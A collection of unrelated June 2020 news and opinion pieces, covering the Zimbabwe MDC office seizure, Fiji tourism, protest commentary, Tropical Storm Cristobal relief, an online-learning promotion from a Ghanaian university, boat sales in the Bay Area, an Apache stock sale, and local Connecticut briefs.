In a statement, MDC Alliance spokesperson Fadzai Mahere said their offices were invaded by the MDC-T, which was backed by a truckload of armed soldiers, police and more than 20 youth.

The soldiers severely assaulted our security personnel who were manning the building. The youths locked themselves in the building, refusing to leave. The MDC Alliance secretary general Mr. Chalton Hwende immediately attended the scene and tried to make a police report. The Zimbabwe Republic Police refused to take the report and advised that he should speak to the soldiers who in turn denied the secretary general entry to the building.

The MDC Alliance maintains its rightful position as the occupants of Harvest House and will not allow such underhanded and patently unlawful seizure of its property. The use of the armed forces to settle personal squabbles must be condemned in the strongest way possible by all pro-democratic forces.

Mahere said the property seizure puts to rest all falsehoods that the recent attacks on the MDC Alliance have been driven by an interest in constitutionalism and democracy.

But Douglas Mwonzora of the MDC-T told VOA Studio 7 that they have taken over the property as it belongs to the party led by Khupe.

Reuters report that Zimbabwe's police arrested five senior officials of the main opposition party on Friday after they attempted to enter the party's Harare headquarters, which is being occupied by a rival faction.

The Movement for Democratic Change (MDC) has been divided since Zimbabwe's Supreme Court ruled on March 30 that Nelson Chamisa was not its legitimate leader and installed Thokozani Khupe, head of one faction inside the party, to lead it in the interim.

Most MDC members still regard Chamisa as their leader and accuse President Emmerson Mnangagwa's government of siding with Khupe's faction in the battle for control of the movement.

Supporters of Khupe seized control of the party's offices at Harvest House late on Thursday while police watched, a video of the incident circulated by the MDC showed. Anti-riot police on Friday cordoned off the building, which has stood as a symbol of the MDC's fight against Mnangagwa's ruling ZANU-PF party for the past two decades.

Some MDC officials, led by party vice president and former finance minister Tendai Biti, then tried to enter Harvest House.

"We are the rightful owners of the building and you have had no court order to stop us from entering," Biti told the police officers blocking their way.

He and four other MDC officials were arrested and transported to a police station in a lorry. It was not immediately clear what charges they would face.

Police spokesman Paul Nyathi said he had no details of the arrests.

Chamisa says his party is different from Khupe's outfit after it contested elections in 2018 under the name MDC Alliance while Khupe's ran as the MDC-T party.

Chamisa, 42, narrowly lost those elections to Mnangagwa. He says he is being persecuted for refusing to recognise the president's disputed victory while Khupe accepted the results.

Chamisa's MDC accuses Mnangagwa's government of eroding political rights under the cover of Zimbabwe's coronavirus lockdown, which includes a ban on political protests.
Source: Xinhua| 2020-06-05 14:42:27|Editor: huaxia

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SUVA, June 5 (Xinhua) -- Fiji launched on Friday the "Love Our Locals Fiji" campaign to help the tourism industry ease the impact of COVID-19.

Speaking at the launching ceremony here on Friday, Fiji's Minister for Commerce, Trade, Tourism and Transport Faiyaz Siddiq Koya said that the purpose of the campaign is to boost bookings and keep Fijians working during these difficult times.

"Tourism is for everybody and through the campaign, Fijians are called to become greater ambassadors of the Fijian tourism industry by immersing in some of Fiji's unique experiences. As Fiji enters Stage Two of its market re-entry strategy, we remind the world, 'Our Bula Spirit awaits you', in anticipation of welcoming back international visitors to our shores," he said.

Supported by the tourism industry stakeholders, the "Love Our Locals Fiji" campaign will play out primarily on social media and include the creation of a Facebook group where industry operators can communicate with Fiji residents.

As the backbone of the Fijian economy, tourism is the most important industry with the biggest foreign exchange earner.

Some 40 percent of Fiji's gross domestic product (GDP) is dependent on tourism which employs around 150,000 people directly and indirectly.

The island nation has in recent years received more than 800,000 visitors per year. The Fijian government had also set a goal of developing the tourism industry to a 2.2 billion Fijian dollars (about 1 billion U.S. dollar) industry by 2021.

The COVID-19 pandemic has serious impact on Fiji's tourism, and with travel restrictions to stop the spread of the deadly virus, the industry, which has already laid off about 40,000 people, has been at a standstill for three months now. Enditem
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Saks Fifth Avenue surrounded its flagship Manhattan store with razor wire yesterday to keep thieves from stealing expensive merchandise. While protests across the US were more peaceful last night, the Associated Press announced this morning that at least 9,300 people have been arrested since George Floyds death.

Yesterday, I made the claim that violence is not the right response to violence. Ive seen two counter arguments we didnt have space to consider in my article.

What George Washington thought of the Boston Tea Party

One is that violent protests are as American as the Boston Tea Party. New York Times columnist Charles Blow tweeted: It is estimated that the Boston Tea Party, the riot that gave birth to this country, resulted in $1.7 million dollars (in todays dollars) in property damage (tea). Im just going to leave this right here for whoever needs to read it.

Im not certain the Boston Tea Party was a riot (it was conducted by men in disguise under cover of darkness) or that it gave birth to this country (our origins are far more complex). George Washington voiced strong disapproval of the perpetrators conduct in destroying the tea; Benjamin Franklin insisted that the British be reimbursed for the lost tea and even offered to pay for it himself.

Columnist Joshua Lawson noted: Though many witnessed the events aftermath, it was a moonlit, covert act completed in three hours. No harm came to the ships and crews . . . No violence or confrontations of any kind took place between the British soldiers, colonial patriots, or Tory loyalists that night.

Except for the tea, the only property that was damaged was a single broken padlock on one of the ships, which was replaced the next day by the patriots. The sole injury was to one of the patriots, who was knocked unconscious when he was struck by a crate of tea.

To make the Boston Tea Party analogous to the violence perpetrated after George Floyds horrific death, the patriots would have destroyed the property of their countrymen, threatened members of other militia companies, rioted in the streets of Boston, and burned down the homes and businesses of their neighbors. None of which happened, of course.

Who (or what) did Jesus drive from the temple?

Another justification for the violence of these days is a meme picturing Jesus turning over tables in the temple while using a whip to threaten the moneychangers. The caption says: If someone asks, What would Jesus do? Remind them that turning over tables and breaking out whips is a possibility.

However, as Nathan W. OHalloran notes, the Greek of John 2:15 clearly states that Jesus used his whip to drive the animals from the temple, not the moneychangers. At no point did he endanger or harm humans.

To make this event analogous to the violence were discussing, our Lord would have harmed innocent bystanders, destroyed their property, and burned down their homes and businesses. None of which happened, of course. To the contrary, Jesus acted on behalf of people very much like those being victimized by the violence of recent days.

Be constructive, not destructive

If violence is the wrong way to respond to Mr. Floyds death, what is the right way?

John Lewis, an icon of the Civil Rights movement, stated a few days ago: Rioting, looting, and burning is not the way. Organize. Demonstrate. Sit-in. Stand up. Vote. Be constructive, not destructive. History has proved time and again that non-violent, peaceful protest is the way to achieve the justice and equality that we all deserve.

This week, were applying Jesus teachings to this crisis. Today, lets focus on our Lords instructions in light of Rep. Lewiss call to be constructive, not destructive.

First, taking his precepts in reverse order, we must be sure we are not part of the problem.

Jesus taught us, If you are offering your gift at the altar and there remember that your brother has something against you, leave your gift there before the altar and go. First be reconciled to your brother, and then come and offer your gift (Matthew 5:2324).

In the context of racism, how do we know if your brother has something against you? Ask the Lord to bring to mind any attitudes, words, and actionsor inactionsthat have offended someone of a different race. Then ask someone of a different race the same question. If needed, do all we can to seek forgiveness and reconciliation.

Second, we should find ways to be part of the solution.

Jesus commissioned us to make disciples of all nations (Matthew 28:19); the Greek word for nations is ethnos, from which we get ethnicities. In response, early Christians welcomed Jews from fifteen different language groups (Acts 2:911), then shared Christ with Samaritans (Acts 8:58), Gentiles (Acts 10:3443), slaves (Philemon 10), and women (Acts 16:1315), thus breaking down every cultural barrier in their day.

You and I cannot do all that must be done to combat racism and injustice in our culture. But we can do something. We each have been given resources, abilities, spiritual gifts, and influence that can make a real difference in other lives and our society. We must not allow the enormity of the crisis to keep us from doing what we can in response.

Gods ultimate purpose for your life

To follow Jesus teachings, we need to be like Jesus. We need his love for all people and his bold initiative to make a difference.

Oswald Chambers advised us: Never trust anything but the grace of God in yourself or in anyone else. How can we grow in such grace?

Chambers: God expects my personal life to be a Bethlehem. Am I allowing my natural life to be slowly transfigured by the indwelling life of the Son of God? Gods ultimate purpose is that his Son might be manifest in my mortal flesh.

Will you ask Jesus to manifest himself in your courageous compassion today?

Originally posted at denisonforum.org
The website The Artwolf calls Boy and Dog in a Johnnypump, a vibrant painting of roughly 8 by 14 feet, a monumental work dating from 1982, when Basquiat reached the zenith of his talent. As is usual in Basquiat, the composition is simple, but the whole painting is a neo-expressionist tour-de-force in which the usually pleasant scene of a boy playing with his dog is painted with the rabid energy of a primitive work of Art.
Tropical storm Cristobal is breaking records as the earliest-ever third named storm in the Atlantic. This year the Americas are faced with an extraordinarily early hurricane season. Mexico in particular is feeling the sting as the effects of both Cristobal and COVID-19 are impacting communities.

Tropical Storm Amanda, Now Tropical Storm Cristobal

On June 3, Tropical Storm Cristobal made landfall in the Mexican state of Campeche. It brought with it damaging winds and rain causing many in the area to evacuate. Tropical Storm Cristobal was formed from the previous Tropical Storm Amanda that slammed El Salvador and Guatemala. The Red Cross has been on the ground responding to disaster needs in both countries. Mexican Red Cross teams are working alongside state institutions to rescue and safeguard people impacted by the deadly floods and landslides that have followed the storms. On the coattails of Tropical Storm Amanda, Cristobal brought similar destruction to Mexicos Gulf coast.

Red Cross helps residents deal with disease and deluge

In the last few weeks, COVID-19 cases have surged in Central and South America. Cases of the virus in Mexico are growing, and with that, concern grows as well.

The Mexican Red Cross is on the ground providing PPE, health screenings and urging residents to have a solid disaster preparedness plan, as additional disasters can agitate existing conditions. Now the concern is that Tropical Storm Cristobal is doing just that. Since Wednesdays landfall, significant damage has occurred in parts of Mexico. Currently, evacuations are taking place in response to flooding and landslides. Landslides were reported to affect 15 cities spanning two states.

With the passing of this storm, the needs of the people may be exacerbated due to COVID-19. We are currently supplying water and face coverings to those in need, says Brenda Avila, Resilience Program Coordinator for the Mexican Red Cross.

The Red Cross is supplying evacuation shelters with water, cleaning supplies and facemasks. Avila shares how COVID-19 complicates mission delivery, The virus presents significant health challenges, we hope for safer conditions in order to maximize our recovery efforts.

Recovering After Disasters

Tropical Storm Cristobal is already making its way up the Gulf coast. As it exits Mexico, it also leaves significant damage in its wake. The American Red Cross in partnership with the Mexican Red Cross will continue to work together to assess and address the needs of all impacted communities. In addition, our mission to stop the spread of COVID-19 in Mexico will also continue.

Stay informed

For updated information from Mexico, follow the Cruz Roja Mexicana on Twitter and Cruz Roja Mexicana, Campeche on Facebook.

Interviews and additional A/V available to media outlets. Contact us here.
Plus, Bill's Message of the Day, an honest look at President Biden's press conference.

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Toronto, Canada-based venture capital firm InvestEco Capital closed the InvestEco Sustainable Food Fund III, at $100m in capital commitments.

New institutional investors Farm Credit Canada, BDC Capital, Fondaction, Fonds de solidarite FTQ and Vancity joined the Funds lead institutional investors, The Co-operators and Export Development Canada, who were part of the initial close of the Fund in 2019, as well as many other foundations, family offices and individual investors.

The fund will continue the firms mandate of investing in private, high-growth Canadian and US companies that promote health and sustainability in the food sector. Led by Alex Chamberlain, Managing Partner, this vehicle follows two previous food funds that have invested in and partnered with many North American sustainable food brands, including Vital Farms, Mama Earth Organics, Maple Hill Creamery, Le Grand, NadaMoo, and LesserEvil, among a number of others.

FinSMEs

04/06/2020
A hunter does not have mercy on a sick animal (an Akan adage)



The thought of the above adage is illustrated by the case of the private university sector in Ghana. Before the COVID-19 pandemic, the survival of the universities in this sector, which employs thousands of Ghanaians, was heavily dependent on admission numbers and students ability to pay fees.



Worse yet, several of these universities were even struggling for students due to the dwindling number of international students coming to study in Ghana. To add insults to injury, they faced a fierce competition from their counterpart public universities who had expanded their respective distance education programmes in a bid to boost up their Internally Generated Funds in order to compensate for the drop in Government subventions to their institutions.



As if that was not enough for the already crippling private university sector, COVID-19 reared its ugly head raking in havoc of global proportions. The sector was hard hit where it actually hurt- right in the middle of the semester- when most students had not even paid their semester school fees. Sad to say, several of these universities did not have the requisite technological systems in place to ensure the unabated continuance of the academic activities even in the midst of the crises.



The Accra Institute of Technology (AIT), an independent technology-focused research university based in Accra, Ghana employed a model, which has by far proven to be the surest way of survival in this pandemic and beyond. The operations of AIT has continued uninterrupted despite the pandemic due to their strength in using technology to boost teaching and learning.





The university has a Learning Management System dubbed LEMASS which is effectively utilized in the delivery of online teaching and learning modes for their students. One would wonder how AIT came by the exact systems needed to combat the challenges that accompanied the COVID-19 pandemic.



Interestingly, these systems were not developed as a mere survival measure, as it were, for COVID-19 as in the case of several struggling universities. In fact, these technological systems cannot be developed in weeks or months to solve specific problem at a time. Development of such systems and solutions takes years of dedication, discipline and commitment to arrive at a working system fit for the specific educational purpose.



The AIT success story of implementing technology in education predates COVID-19 back to 2009 when it was the only university in Ghana that had a system, which allowed students to submit assignments, access electronic library, partake in quizzes etc. Lecturers in the university could grade their work online and assess their students in whatever form using the same system. Therefore, a ban on physical contact with students had zero impact on their operations since they were already using systems. All the university had to do was to deploy these systems with very few modifications due to the pandemic in order to better serve our students.



In an effort to eliminate any physical interaction between students and the faculty of AIT while still realizing the same outcomes of the teaching and learning experience, the institution deployed a clearly stated protocol to better streamline the entire online learning experience. The AIT Protocol for the Delivery of the Online Teaching and Learning Program stipulates the five (5) different components of the process namely:



 Online (Asynchronous) Teaching and Learning



 Online (Synchronous) Class Sessions (OCS)



 Scheduled Online Interaction Sessions (OIS) with learners on pre-planned topics, issues) and/or general issues during Scheduled Online Office Hours of Instructor



 Scheduled Online Forum Sessions (FSO) with Instructor



 Online Feedback Sessions (OFBS) with Instructor







What would a student of this noble institution expect from this five-component Online Learning Process?



The Asynchronous online learning applies to the case where learners log-into say a learning management system/platform like LEMASS and/or other sources to access learning materials, resources and assignments earlier on posted or made available online on the platform by the instructor/lecturer in preparation for a scheduled Online(synchronous) Class Session(OCS). This means that for each Online Lecture Topic (OLT) of the syllabus that a Instructor/lecturer intends to teach each week online, students would always expect the Instructor/lecturer to identify and direct them to relevant resources as a pre-reading and/or reference materials/resources to be accessed in preparation of the OCS and to refer to for revision after the OCS.



On the other hand, the Synchronous online learning or Online Synchronous Class Session (OCS) applies to instructor-to-learner and learner-to-learner learning interactions that are happening at the same time, - meaning in real-time via a teaching delivery system/platform (like GOOGLE CLASSROOM, ZOOM etc. depending on what students agree on with their lecturer) at a scheduled time on the university timetable to engage in the teaching (by the instructor) and the learning (by the learners) process. Students would expect that the Instructor/lecturer would make available to them the lesson presentation (e.g. LSPs, prepared PowerPoint presentation, or other lesson notes) that he would be going through during the OCS at least 24 hours before the OCS so that they can go through before the session. After every OCS, students would also expect on LEMASS, assignments/quizzes/tests on the OLT to examine their level of understanding of the course materials/notes presented during the OCS.



Each instructor is expected to schedule one Online Forum Session (OFS) per week on the OLT for that week. The OFSs are to be done using the facilities of LEMASS and/or any other prescribed platform by the university. The process is as follows:



The Instructor post the initial issue/subject/statement relating to the OLT in question to be discussed on the forum and learners are to contribute to the forum following laid down guidelines.



Participation in the forum is compulsory and would be graded as per the clearly stated guidelines in the Online Forum Grading Template developed by the university.



Participation in the OFSs will take the place of attendance and participation as in face-to-face teaching accounting for 10% of the final grade of students.



Instructors delivering online courses at AIT are also expected to interact with learners online in between the scheduled Online (synchronous) Class Sessions (OCS) to check on how learners are coping with the course materials assigned to them in preparation for the next Online (synchronous) Class Session (OCS) and also to discuss specific topics or aspects of the course materials that learners find challenging. This means for each registered course, students would expect Instructors to have at least 3 OISs per course per week with learners, and spend at least a  hour (30 minutes) per each session.



In addition to the Online Interaction Sessions (OIS) for the asynchronous and the synchronous delivery of the course (OLT-by-OLT), Instructors are also expected to engage in an Online Feedback Session (OFBS) with learners. This will include facilitating:



 Unscheduled one-on-one feedback session with students (if and when a student request for feedback on any aspect of the online learning process of the course in question or a particular OLT)



 General feedback to students on a given course you are teaching on assignments/test/exams, course-learning materials, lessons among others.



All these components combine to give the students the needed guidance that is unmatched by even a face-to-face interaction with their lecturers. Yes, when technology is used in education, risks are reduced, cost is managed, learning convenience is maximized and the risk physical contacts with its accompanying challenges are contained, if not eliminated.



However, it is rather sad that a university like Accra Institute of Technology, which has been preaching the use of technology for the past ten years has not received maximum support to train, educate and help other institutions to reach their optimum level. It would be a big shame, if after surpassing this pandemic and surmounting its accompanying challenges, we resort to the old ways of doing things. All roads must now lead to AIT to learn how they have used technology to defeat the educational challenges emanating from the pandemic. It is COVID-19 today, but we dont know what will come tomorrow. There is, therefore, the need to relook at our educational delivery in this technological era. A good start would be to go the AIT way.









Source: AIT









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

Featured Video
While it's not a road that many automakers have traveled far down, Toyota Motor (NYSE:TM) is driving ahead in the development of fuel cell vehicles. The company announced today that it has signed an agreement with five other companies to form a joint venture called United Fuel Cell System R&D (FCRD). Collectively, the six companies will leverage their prowess to develop fuel cell solutions for commercial vehicles in China, where the government is targeting 20% of vehicle sales to be new energy vehicles, including fuel cell vehicles, by 2025.

Toyota will hold a 65% equity stake in the joint venture, which represents a total investment value of approximately 5 billion yen, or $46 million. According to Toyota, the joint venture will "engage in discussions to formulate product plans and create a single streamlined structure to develop a series of technologies from components including FC [fuel cell] stacks that satisfy performance needs in China and FC system controls that support those components, to vehicle installation."

China has high hopes that an increase in the number of alternative fuel vehicles will help the nation mitigate its environmental problems -- something the joint venture is acutely aware of. In a press release, Toyota states the joint venture "will support the proliferation of FCEVs [fuel cell electric vehicles] for the creation of a hydrogen-based society in China, and by promoting and developing FCEVs, will contribute to solving environmental issues including reducing CO2 emissions and curtailing air pollution."

The other companies participating in the joint venture are:

China FAW Corporation Limited

Dongfeng Motor Corporation

Guangzhou Automobile Group Co., Ltd.

Beijing Automotive Group Co., Ltd.

Beijing SinoHytec Co., Ltd

Like Toyota, Ballard Power Systems, a leading provider of fuel cell solutions, has recognized the opportunity for commercial fuel cell vehicles in China, forming a joint venture with Weichai Power two years ago. And it appears that momentum is building. Last December, Ballard announced that it had received a $19.2 million purchase order from the joint venture related to a long-term membrane electrode assembly supply agreement.
Syracuse, N.Y.  Police are expecting around 1,000 people to show up in downtown Syracuse on Saturday for a rally against police brutality and the death of George Floyd.

A Facebook event for the protest run by Black Lives Matter and Raha Syracuse shows that 1,500 people have committed to going to the rally. Another 3,100 answered as interested in attending.

The rally outside of Syracuse City Hall is set to start at 1 p.m.

Syracuse police union president Jeff Piedmonte said hes unsure of the logistics but believes the New York State Police and the Onondaga County Sheriffs Office will be lending officers.

When asked about how many troopers might be headed for Syracuse, Trooper Jack Keller, a spokesman for the New York State Police, said the department does not disclose tactical information.

Protests in Syracuse have routinely drawn more than 100 people. Over 500 people showed up last Saturday.

A road is barricaded at East Washington and South Warren streets on Friday, June 5, 2020. The city has closed a number of streets in preparation for a rally on Saturday.Steven Billmyer | sbillmyer@syracuse.com

Syracuse officials have already closed multiple downtown streets:

East Genesee street between South Townsend and South State streets

South Townsend Street between East Genesee and Adams streets

McCarthy Avenue

East Onondaga Street between East Jefferson and South State streets

East Jefferson Street between Montgomery and South State streets

South State Street between East Onondaga and Adams streets

Madison Street between Montgomery and South State streets

Motorists who are not attending the event should consider alternate routes, officials said.

Got a tip, comment or story idea? Contact Chris Libonati via the Signal app for encrypted messaging at 585-290-0718, by phone at the same number, by email or on Twitter.
If enterprises can exploit the domestic market well, they will be able to overcome the Covid-19 crisis, analysts say.

The epidemic has led to stagnant import and export activities. They have been urged to rely on the 9-million market as a new driving force for growth.





According to the Ministry of Industry and Trade (MOIT), around 100,000 people need one hypermarket and one shopping center, 10,000 people a medium-size supermarket and 1,000 people 1-3 convenience stores.



The attractiveness of the market lies in the high number of consumers, 60 percent young population and expected increase of 10 percent per annum in spending level of families.



The General Statistics Office (GSO) reported that in the first quarter of the year, during the social distancing days, the revenue from goods retail increased by 7.7 percent compared with the same period last year.

The epidemic has led to stagnant import and export activities. They have been urged to rely on the 9-million market as a new driving force for growth.

In fact, many enterprises have realized the importance of the domestic market and changed their business strategies.

In the last two months, we have opened 19 more shops to better serve the shopping demand of people, said Nguyen Thai Dung, CEO of Hanoi Hapro, a retail chain.



In the aviation sector, Bamboo Airways, has decided to join hands with partners  travel firms and accommodation service providers, to provide services to stimulate demand soon after the social distancing policy was loosened.



We have cooperated with travel firms, such as Vietravel, and air ticket booking agents, to set up reasonable airfare policies for tourism routes from HCM City to Da Lat, Pleiku, Buon Ma Thuot, and from Hanoi to Cam Ranh, Phu Quoc and Quy Nhon, said Truong Phuong Thanh, deputy CEO of Bamboo Airways.



Agriculture enterprises have also applied new business methods to exploit the domestic market.



Covid-19 has changed our business behaviors. Previously, we only sold products at restaurants, hotels and cafes.

But now we focus on the sale at supermarkets and online sales, said Phan Minh Thong, chair of Phuc Sinh JSC, adding that thanks to the changes, domestic sales have increased by 25 percent.



When asked what Vietnams enterprises need to conquer the home market, Ngo Tri Long, a respected economist, said gone are the days when people just needed food and clothes. They now want high-quality products.

Therefore, enterprises need to provide good products that are well designed and user friendly that fit different groups of consumers.

Le Ha

Hit by Covid-19, Vietnam enterprises turn to domestic market A market with population of nearly 100 million is more than enough for domestic firms to boost sales and expand market shares.
With double-digit unemployment and shelter-in-place restrictions keeping potential customers at home, Bay Area yacht broker Geli Burgin was certain 2020 would be a bad summer for the boat business.

And it started out that way  in March, as the shutdown started, Burgins group of boat dealers had just two vessels under contract. We were sure boats sales would tank, she said. Who buys a boat during a pandemic?

It turns out a lot of people want to buy a boat during a pandemic. Two months later her business, Atomic Tuna Yachts, which has offices in Alameda and Tiburon, is the busiest its been in years. Within the past few weeks the brokerage has 11 yachts in contract, with more in negotiations.

And Atomic Tuna is not the only boat business booming in the Bay Area. As social distancing on trails and trepidation over air travel persist, residents are increasingly looking toward boating as a safe way to avoid a summer of sitting at home.

Richardson Bay Harbormaster Curtis Havel said he has seen a 15% increase in weekend warriors anchoring in the bay, mostly coming in Thursday or Friday and staying until Sunday.

The app GetMyBoat  think Airbnb, but for boat rentals  has seen bookings more than double from a year ago and had back-to-back record days over Memorial Day weekend.

In the past week we have seen a crazy bounce-back, said Val Streif, who heads up marketing for GetMyBoat. A lot of people are booking for late in the summer. They are realizing that their travel plans are canceled and now they can reallocate that money to something else.

John-Michael Donahue, communications manager for the National Marine Manufacturing Association, said coronavirus shutdowns are causing a swell of interest in boating. In April the groups website, www.discoverboating.com, saw a 44% increase in visitors compared with that month last year, and in May visits were up 128% over last year.

There are a lot of first-time folks trying to figure out how they can get out on the water, Donahue said. The good news is boating is open in the United States and its going to stay open because it is a great outdoor recreational activity you can do while social distancing.

Again and again, potential boat buyers tell of canceled plans, scuttled trips, vacation rentals no longer feasible because of the coronavirus, Burgin said. There are no events, no games, no concerts, no cruises, and people are not comfortable getting on a plane, she said.

One couple who bought a catamaran from her had rented a beach house in Cuba for a month this summer.

They called and said, We were supposed to be in Cuba, but we want to buy a boat instead, she said. Three weeks later, I sold them a boat.

San Francisco yacht broker Don Margraf said high-end boats are doing well. I have one in contract for $64,000, one for $110,000 and one for $247,000, he said. As a company we have over 100 boats in contract and several over $1 million. We are on par with normal, which is amazing considering a lot of the harbors around the world are closed.

While boat dealers and shipyards are busy, some marinas are still closed to the public, and charter businesses do not yet have permission to start back up.

Kate Munsch / Special to The Chronicle

At Oyster Point in South San Francisco, the fish pier, ramp and restaurant reopened May 22, according to Harbormaster Jim Merlo. Boaters must social distance and wear masks on the pier. He said the marina has been unusually busy since it reopened. Pillar Point Harbor in Half Moon Bay is still closed, although folks who rent slips there may use them. We are getting a lot of calls about when the launch ramp is going to reopen, said Deputy Harbormaster Adam Bloomer.

Capt. Tim Valka operates a 44-foot trawler out of Sausalito. Valka, who uses the GetMyBoat app, said that the number of inquiries has been heavy, but that the health order in place in Marin County doesnt yet allow for charter boat trips. We cant legally reopen until the county says so, he said. I havent taken bookings yet because I dont want to jump the gun.

Air Quality Tracker Check levels down to the neighborhood Ratings for the Bay Area and California, updated every 10 minutes

With his charter business docked for the time being, he is busy working on other peoples boats  as a diver he cleans hulls and replaces zincs, the anodes that protect the metal part of boats from corrosion. That trade is heavier than usual as boat owners have more time to use their vessels.

Ive noticed significantly more people are working on their boats, cleaning them, getting them ready for use, he said. And on Friday afternoons there are a lot more people just sitting on the back deck of their boats having a beer, trying to get out of the house.

Havel has been concerned that rising unemployment because of the coronavirus would compel more people to join the ranks of anchor-outs  the collection of ragtag vessels, many of them unseaworthy, that anchor out in the bay. That has happened a bit  the anchorage community has grown from about 115 to 130, but it is still well below the 190 boats anchored out in July 2019.

Merlo said that the number of live-aboards at Oyster Point has stayed consistent. About 80 people are on a waiting list at the marina where they limit full-time residents to 10% of the slips. The waiting list is about five years.

So far most of the boaters steaming into Richardson Bay are not staying more than 72 hours, Havel said. Boaters can also get a free 30-day anchoring permit, although the vessel has to be inspected first. So far boaters have not been looking to stay more than a few days.

They get here and find not a whole lot is open in Sausalito, he said.

J.K. Dineen is a San Francisco Chronicle staff writer. Email: jdineen@sfchronicle.com Twitter: @sfjkdineen
I'll be honest: I probably should have sold this stock the minute Saudi Arabia and Russia announced they were both going to boost oil production in April, which sent oil prices (and oil stocks) spiraling downward on March 9. When Occidental Petroleum announced an 86% dividend cut on March 10, the writing was really on the wall.

But I hung onto my shares of independent oil and gas exploration and production company (E&P) Apache Corporation (NASDAQ:APA) anyway, and on March 12, I got burned after the company slashed its dividend by 90%.

In the months since, I went back and forth on whether to sell or not. Here's why I finally pulled the trigger.

A bet on the Basin

I first bought shares in Apache in May 2017. The company's stock price had just dropped below $50 per share, which looked to me like a bargain.

In 2016, Apache announced it had picked up a huge plot of West Texas Permian Basin land on the cheap. That acreage, which Apache dubbed "Alpine High," turned out to contain far more oil and gas reserves than anyone expected. The area was undeveloped, so Apache immediately focused its efforts on building out the site's infrastructure.

After Apache's announcement, its share price shot up, and a bunch of copycat companies started paying top dollar for the land around Alpine High. So when Apache's share price fell to to $48 per share -- cheaper than it had been trading prior to the Alpine High announcement -- I bought more shares.

In July 2017, when the share price sank to $44, I picked up even more Apache stock, because at that point, the company's Permian acreage alone seemed to be worth more than half of its entire market cap. I was tempted to buy again when the share price dropped below $40, but didn't, and it's a good thing, too.

I sold my shares on May 28 for just over $12 each, about a 75% loss.

Busted thesis

Needless to say, Apache's big coup didn't pay off. Almost right as it got Alpine High up and running in mid-2018, oil and gas prices began to tumble thanks to global oversupply. Worse, Alpine High turned out to contain more natural gas and less oil than initially anticipated.

Worst of all, pipeline bottlenecks in the Permian Basin meant that producers like Apache couldn't get their oil and gas to the Gulf Coast for refining and processing. At one point, natural gas spot prices at the Waha Hub, which served the Permian Basin, turned negative, meaning producers like Apache needed to pay "buyers" to take the gas off their hands. By 2019, some new long-haul pipelines to the Gulf Coast were just beginning to ease the bottleneck. Then the price of oil collapsed.

In response, Apache announced it would "reduce its Permian rig count to zero," which means the billions of dollars it's sunk into Alpine High infrastructure has basically been for naught. Sure, if oil and gas prices rise significantly, those Permian reserves and existing infrastructure might be worth something. However, that doesn't seem likely anytime soon. Meanwhile, Apache may still be on the hook to pay for the capacity it's reserved on third-party Permian pipelines.

Much of this was due to industrywide trends outside of the company's control, although management is to blame for overestimating the amount of oil at Alpine High. But regardless of who's at fault, the Permian thesis for buying Apache is totally busted.

Not much left

So my initial Apache thesis didn't play out. But before I sold the stock, I double checked to make sure there wasn't some other compelling reason to hang onto it. What's left of the dividend definitely isn't worth it: at current prices, it only yields 0.8%.

Beyond its Permian position, Apache has operations in the North Sea and Egypt. Both of these have lower costs per barrel than its U.S. onshore production. Even so, neither is likely to be profitable at current oil prices, and the company has announced it will be reducing activity in both locations.

Apache has also begun exploration offshore Suriname, after ExxonMobil (NYSE:XOM) made a big discovery in next-door Guyana. That exploration is slated to continue, but it's unclear how much appetite Apache has for developing the deepwater project.

Basically, until oil and gas prices recover, Apache's stock is unlikely to recover either. And even when (or if) that happens, there's nothing particularly compelling about its portfolio to suggest that it's likely to outperform.

Not a strong pick

Perhaps the only reason to potentially pick up Apache shares right now is if you're very bullish on Permian Basin gas. A strong recovery there would increase the value of Alpine High and reignite the thesis I initially bought into. However, I'd rather put my money into a stronger thesis rather than wait around while only earning 0.8% from Apache's dividend.

Ultimately, we don't know when -- or if -- a recovery will come to the Permian Basin or to oil and gas prices in general. And even if it arrives sooner rather than later, there are better picks in the energy industry -- including the aforementioned ExxonMobil, which has maintained its dividend and has much stronger fundamentals besides.
WINSTED  Northwestern Connecticut Community College recently received a $15,000 grant from the Northwest Connecticut Community Foundation, the COVID-19 Rapid Response Fund and the Neighbor to Neighbor Fund of the Berkshire Taconic Community Foundation. The money will be used to support and aid students who have been, and continue to be, affected by the Covid-19 pandemic.

We are grateful to receive these funds at this time when more of our students are in financial crisis, said NCCC President Dr. Michael Rooke, in a statement. Our students struggle in the best of times. This pandemic has intensified financial need for our students, most of whom work one or more jobs, primarily in the retail or restaurant sector. Many have been out of work the last several months and are struggling to survive on limited resources.

The money will be distributed through the NCCC Student Emergency Fund, which was created in 2016 through NCCC Foundation funding, grant funding, and private donations. The NCCC Emergency Fund works to assist students with immediate financial needs based on the students specific need and individual circumstances. The grant funds from the Northwest Connecticut Community Foundation, the Covid-19 Rapid Response Fund and the Neighbor to Neighbor Fund of the Berkshire Taconic Community Foundation is expected to help approximately 30 students in a variety of ways, which may include supplying grocery cards or assisting with monthly living expenses that may include technology expenses needed for online study due to pandemic closures.

The Northwest Connecticut Community Foundation Inc. was founded in 1969 and services 20 towns in the Connecticut northwest corner. The Covid-19 Rapid Resource Fund was created in partnership with the Taconic Berkshire Foundation in March to help non-profits who provide basic needs to the community. The Berkshire Taconic Community Foundation was established in 1987 and serves four counties in three states including Litchfield County. Their Neighbor to Neighbor fund program provides emergency grants for critical needs to individuals in crisis in the community.

Kunz receives fundraising certification

TORRINGTON  CFRE International announced that Mary Ellen H. Kunz has recertified as a Certified Fund Raising Executive (CFRE).

Kunz, Director of Development and Marketing for The Arc of Litchfield County, joins more than 6,900 professionals around the world who hold the CFRE designation.

Individuals granted the CFRE credential have met a series of standards set by CFRE International which include tenure in the profession, education, and demonstrated fundraising achievement. They have also passed a rigorous written examination testing the knowledge, skills, and abilities required of a fundraising executive, and have agreed to uphold Accountability Standards and the Donor Bill of Rights.

CFRE recipients are awarded certification for a three-year period. To maintain certification status, certificants must demonstrate on-going fundraising employment and fundraising results and continue with their professional education. Employers and donors who work with CFREs know they are getting a professional who is committed to the best outcomes for their organization and has the requisite knowledge and skills.

The CFRE certification signifies a confident, ethical fundraising professional.

Real estate agent handles record sales

NEW MILFORD - William Pitt Sothebys International Realtys Litchfield County agent Ira Goldspiel achieved record-breaking and other notable sales in April and May, successes which contribute to his position as the No. 1 producing agent among the firms four Litchfield Hills brokerages based on dollar volume, according to a statement.

